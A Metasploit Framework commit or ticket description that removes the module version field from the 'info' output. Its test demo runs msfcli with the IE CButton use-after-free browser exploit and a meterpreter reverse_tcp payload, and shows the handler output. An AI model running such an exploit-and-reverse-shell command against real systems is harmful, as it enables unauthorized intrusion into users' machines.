Remove module version display

Since modules no longer use the 'Version' key, there's no point to collect and show them. It's all 0 anyway.  Note: Might need to let the Pro guys know the version() function is gone.

To test this: Just a pick a module, and then type 'info'. The "Version" filed should be gone: demo:

	$ msfcli windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=10.0.1.76 post= E
	[*] Initializing modules...
	payload => windows/meterpreter/reverse_tcp
	lhost => 10.0.1.76
	[*] Exploit running as background job.
	[*] Started reverse handler on 10.0.1.76:4444 
	[*] Using URL: http://0.0.0.0:8080/pSGOnpmwt
	
	[*]  Local IP: http://10.0.1.76:8080/pSGOnpmwt
	[*] Server started.
	msf exploit(ie_cbutton_uaf) > info
	
	       Name: Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability
	     Module: exploit/windows/browser/ie_cbutton_uaf
	   Platform: Windows
	 Privileged: No
	    License: Metasploit Framework License (BSD)
	       Rank: Normal

[See RM 8278]
http://dev.metasploit.com/redmine/issues/8278